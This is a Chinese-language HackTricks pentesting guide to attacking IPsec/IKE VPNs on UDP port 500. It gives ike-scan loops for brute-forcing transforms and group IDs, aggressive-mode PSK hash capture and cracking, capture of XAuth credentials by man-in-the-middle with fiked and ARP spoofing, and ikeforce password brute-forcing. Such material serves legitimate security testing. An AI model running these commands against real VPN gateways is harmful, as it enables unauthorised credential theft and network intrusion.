500/udp - Pentesting IPsec/IKE VPN

Support HackTricks

基本信息

IPsec 被广泛认为是保护网络之间(LAN到LAN)和从远程用户到网络网关(远程访问)通信的主要技术,是企业VPN解决方案的支柱。

IKE 管理两个点之间的 安全关联(SA) 的建立,它在 ISAKMP 的框架下运行,ISAKMP 是一个用于身份验证和密钥交换的协议。这个过程分为几个阶段:

  • 阶段 1: 在两个端点之间创建一个安全通道。这是通过使用预共享密钥(PSK)或证书来实现的,采用主模式,该模式涉及三对消息,或 激进模式

  • 阶段 1.5: 虽然不是强制性的,但这一阶段被称为扩展认证阶段,通过要求用户名和密码来验证试图连接的用户的身份。

  • 阶段 2: 这一阶段专注于协商用于保护数据的 ESPAH 的参数。它允许使用与阶段 1 中不同的算法,以确保 完美前向保密(PFS),增强安全性。

默认端口: 500/udp

使用 nmap 发现 服务

root@bt:~# nmap -sU -p 500 172.16.21.200
Starting Nmap 5.51 (http://nmap.org) at 2011-11-26 10:56 IST
Nmap scan report for 172.16.21.200
Host is up (0.00036s latency).
PORT    STATE SERVICE
500/udp open  isakmp
MAC Address: 00:1B:D5:54:4D:E4 (Cisco Systems)

寻找有效的转换

IPSec 配置可以仅准备接受一个或几个转换。转换是值的组合。每个转换包含多个属性,如 DES 或 3DES 作为 加密算法,SHA 或 MD5 作为 完整性算法,预共享密钥作为 认证类型,Diffie-Hellman 1 或 2 作为密钥 分发算法,以及 28800 秒作为 生命周期

然后,您要做的第一件事是 找到一个有效的转换,这样服务器才能与您通信。为此,您可以使用工具 ike-scan。默认情况下,Ike-scan 在主模式下工作,并向网关发送一个带有 ISAKMP 头和一个包含 八个转换的单个提案的数据包。

根据响应,您可以获得有关端点的一些信息:

root@bt:~# ike-scan -M 172.16.21.200
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
172.16.21.200    Main Mode Handshake returned
HDR=(CKY-R=d90bf054d6b76401)
SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation)

Ending ike-scan 1.9: 1 hosts scanned in 0.015 seconds (65.58 hosts/sec). 1 returned handshake; 0 returned notify

如您在之前的回复中所见,有一个字段叫做 AUTH,其值为 PSK。这意味着 VPN 是使用预共享密钥配置的(这对渗透测试人员来说非常好)。 最后一行的值也非常重要:

  • 0 returned handshake; 0 returned notify: 这意味着目标 不是 IPsec 网关

  • 1 returned handshake; 0 returned notify: 这意味着 目标已配置为 IPsec,并愿意进行 IKE 协商,您提议的一个或多个变换是可接受的(有效的变换将在输出中显示)。

  • 0 returned handshake; 1 returned notify: VPN 网关在 没有可接受的变换时 会响应通知消息(尽管有些网关不会,在这种情况下应进行进一步分析并尝试修订提案)。

然后,在这种情况下,我们已经有了一个有效的变换,但如果您处于第三种情况,则需要 稍微暴力破解一下以找到有效的变换:

首先,您需要创建所有可能的变换:

for ENC in 1 2 3 4 5 6 7/128 7/192 7/256 8; do for HASH in 1 2 3 4 5 6; do for AUTH in 1 2 3 4 5 6 7 8 64221 64222 64223 64224 65001 65002 65003 65004 65005 65006 65007 65008 65009 65010; do for GROUP in 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18; do echo "--trans=$ENC,$HASH,$AUTH,$GROUP" >> ike-dict.txt ;done ;done ;done ;done

然后使用 ike-scan 对每一个进行暴力破解(这可能需要几分钟):

while read line; do (echo "Valid trans found: $line" && sudo ike-scan -M $line <IP>) | grep -B14 "1 returned handshake" | grep "Valid trans found" ; done < ike-dict.txt

如果暴力破解没有成功,可能服务器即使对有效的变换也没有进行握手响应。那么,你可以尝试使用激进模式进行相同的暴力破解:

while read line; do (echo "Valid trans found: $line" && ike-scan -M --aggressive -P handshake.txt $line <IP>) | grep -B7 "SA=" | grep "Valid trans found" ; done < ike-dict.txt

希望有效的转换被回显。 您可以尝试使用 iker.py进行相同的攻击。 您还可以尝试使用 ikeforce进行暴力破解转换:

./ikeforce.py <IP> # No parameters are required for scan -h for additional help

DH 组:14 = 2048 位 MODP15 = 3072 位 2 = HMAC-SHA = SHA1(在这种情况下)。--trans 格式为 $Enc,$Hash,$Auth,$DH

思科表示应避免使用 DH 组 1 和 2,因为它们不够强大。专家认为,资源丰富的国家可以轻易破解使用这些弱组的数据加密。这通过使用一种特殊方法来实现,使其能够快速破解代码。尽管设置这种方法的成本很高,但它允许这些强大的国家实时读取加密数据,如果使用的是不强的组(如 1,024 位或更小)。

服务器指纹识别

然后,您可以使用 ike-scan 尝试 发现设备的供应商。该工具发送初始提案并停止重放。然后,它将 分析 从服务器接收到的 消息 与匹配响应模式之间的 时间 差异,渗透测试者可以成功识别 VPN 网关供应商。此外,一些 VPN 服务器将使用可选的 供应商 ID (VID) 负载 与 IKE。

如有需要,请指定有效的转换(使用 --trans)

如果 IKE 发现供应商,它将打印出来:

root@bt:~# ike-scan -M --showbackoff 172.16.21.200
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
172.16.21.200    Main Mode Handshake returned
HDR=(CKY-R=4f3ec84731e2214a)
SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation)

IKE Backoff Patterns:

IP Address       No.  Recv time            Delta Time
172.16.21.200    1    1322286031.744904    0.000000
172.16.21.200    2    1322286039.745081    8.000177
172.16.21.200    3    1322286047.745989    8.000908
172.16.21.200    4    1322286055.746972    8.000983
172.16.21.200    Implementation guess: Cisco VPN Concentrator

Ending ike-scan 1.9: 1 hosts scanned in 84.080 seconds (0.01 hosts/sec). 1 returned handshake; 0 returned notify

这也可以通过 nmap 脚本 ike-version 来实现。

查找正确的 ID(组名)

为了能够捕获哈希,您需要一个支持 Aggressive 模式的有效转换和正确的 ID(组名)。您可能不知道有效的组名,因此您需要进行暴力破解。 为此,我建议您使用 2 种方法:

使用 ike-scan 进行 ID 暴力破解

首先尝试使用假 ID 发起请求,试图收集哈希(“-P”):

ike-scan -P -M -A -n fakeID <IP>

如果没有返回哈希,那么这种暴力破解的方法可能会有效。如果返回了一些哈希,这意味着将会为一个假ID发送一个假哈希,因此这种方法不可靠来暴力破解ID。例如,可能会返回一个假哈希(这在现代版本中发生):

但如果如我所说,没有返回哈希,那么你应该尝试使用ike-scan暴力破解常见的组名。

这个脚本将尝试暴力破解可能的ID,并返回有效握手的ID(这将是一个有效的组名)。

如果你发现了特定的变换,请将其添加到ike-scan命令中。如果你发现了多个变换,可以自由添加一个新的循环来尝试它们所有(你应该尝试它们所有,直到其中一个正常工作)。

你可以使用ikeforce的字典seclists中的字典来暴力破解常见的组名:

while read line; do (echo "Found ID: $line" && sudo ike-scan -M -A -n $line <IP>) | grep -B14 "1 returned handshake" | grep "Found ID:"; done < /usr/share/wordlists/external/SecLists/Miscellaneous/ike-groupid.txt

Or use this dict (is a combination of the other 2 dicts without repetitions):

2KB
vpnIDs.txt

使用 Iker 进行 ID 暴力破解

iker.py 也使用 ike-scan 来暴力破解可能的组名。它遵循自己的方法来 根据 ike-scan 的输出找到有效的 ID

使用 ikeforce 进行 ID 暴力破解

ikeforce.py 是一个可以用来 暴力破解 ID 的工具。该工具将 尝试利用不同的漏洞,以便 区分有效 ID 和无效 ID(可能会有误报和漏报,这就是为什么我更喜欢在可能的情况下使用 ike-scan 方法)。

默认情况下,ikeforce 将在开始时发送一些随机 ID 以检查服务器的行为并确定使用的策略。

  • 第一种方法是通过 搜索 Cisco 系统的 死对等检测 DPD 信息来暴力破解组名(只有在组名正确时,服务器才会回复此信息)。

  • 第二种方法检查每次尝试发送的响应数量,因为有时使用正确的 ID 时会发送更多的数据包。

  • 第三种方法搜索对无效 ID 的响应中的 "INVALID-ID-INFORMATION"

  • 最后,如果服务器对检查没有任何回复,ikeforce 将尝试暴力破解服务器,并检查在发送正确 ID 时服务器是否回复某些数据包。 显然,暴力破解 ID 的目标是获取 PSK,当你有一个有效的 ID 时。然后,使用 IDPSK 你将需要暴力破解 XAUTH(如果启用的话)。

如果你发现了特定的转换,请将其添加到 ikeforce 命令中。如果你发现了多个转换,可以自由添加一个新的循环来尝试它们所有(你应该尝试所有,直到其中一个正常工作)。

git clone https://github.com/SpiderLabs/ikeforce.git
pip install 'pyopenssl==17.2.0' #It is old and need this version of the library
./ikeforce.py <IP> -e -w ./wordlists/groupnames.dic

Sniffing ID

(来自书籍 Network Security Assessment: Know Your Network): 通过嗅探VPN客户端和服务器之间的连接,也可以获得有效的用户名,因为第一个包含客户端ID的攻击模式数据包是明文发送的。

Capturing & cracking the hash

最后,如果您找到了 有效的转换组名,并且 允许攻击模式,那么您可以非常轻松地获取可破解的哈希:

ike-scan -M -A -n <ID> --pskcrack=hash.txt <IP> #If aggressive mode is supported and you know the id, you can get the hash of the passwor

哈希将保存在 hash.txt 中。

您可以使用 psk-crackjohn(使用 ikescan2john.py)和 hashcatcrack 哈希:

psk-crack -d <Wordlist_path> psk.txt

XAuth

攻击模式 IKE 结合 预共享密钥 (PSK) 通常用于 组认证 目的。此方法通过 XAuth (扩展认证) 进行增强,后者引入了额外的 用户认证 层。此类认证通常利用 Microsoft Active DirectoryRADIUS 或类似系统。

转向 IKEv2 时,观察到一个显著的变化,即 EAP (可扩展认证协议) 被用来替代 XAuth 进行用户认证。这一变化强调了安全通信协议中认证实践的演变。

本地网络 MitM 捕获凭证

因此,您可以使用 fiked 捕获登录数据,并查看是否有任何默认用户名(您需要将 IKE 流量重定向到 fiked 进行嗅探,这可以通过 ARP 欺骗来完成,更多信息)。Fiked 将充当 VPN 端点,并将捕获 XAuth 凭证:

fiked -g <IP> -k testgroup:secretkey -l output.txt -d

也可以使用IPSec尝试进行中间人攻击并阻止所有流量到端口500,如果无法建立IPSec隧道,流量可能会以明文形式发送。

使用ikeforce暴力破解XAUTH用户名和密码

要暴力破解XAUTH(当你知道一个有效的组名idpsk时),你可以使用一个用户名或用户名列表以及一个密码列表:

./ikeforce.py <IP> -b -i <group_id> -u <username> -k <PSK> -w <passwords.txt> [-s 1]

这样,ikeforce将尝试使用每个用户名:密码的组合进行连接。

如果您找到一个或多个有效的变换,只需像之前的步骤一样使用它们。

使用IPSEC VPN进行身份验证

在Kali中,VPNC用于建立IPsec隧道。配置文件必须位于目录/etc/vpnc/中。您可以使用命令_vpnc_来启动这些配置文件。

以下命令和配置说明了使用VPNC设置VPN连接的过程:

root@system:~# cat > /etc/vpnc/samplevpn.conf << STOP
IPSec gateway [VPN_GATEWAY_IP]
IPSec ID [VPN_CONNECTION_ID]
IPSec secret [VPN_GROUP_SECRET]
IKE Authmode psk
Xauth username [VPN_USERNAME]
Xauth password [VPN_PASSWORD]
STOP
root@system:~# vpnc samplevpn
VPNC started in background (pid: [PID])...
root@system:~# ifconfig tun0

在此设置中:

  • [VPN_GATEWAY_IP] 替换为 VPN 网关的实际 IP 地址。

  • [VPN_CONNECTION_ID] 替换为 VPN 连接的标识符。

  • [VPN_GROUP_SECRET] 替换为 VPN 的组密钥。

  • [VPN_USERNAME][VPN_PASSWORD] 替换为 VPN 身份验证凭据。

  • [PID] 表示在 vpnc 启动时分配的进程 ID。

确保在配置 VPN 时使用实际的、安全的值来替换占位符。

参考资料

Shodan

  • port:500 IKE

支持 HackTricks

Last updated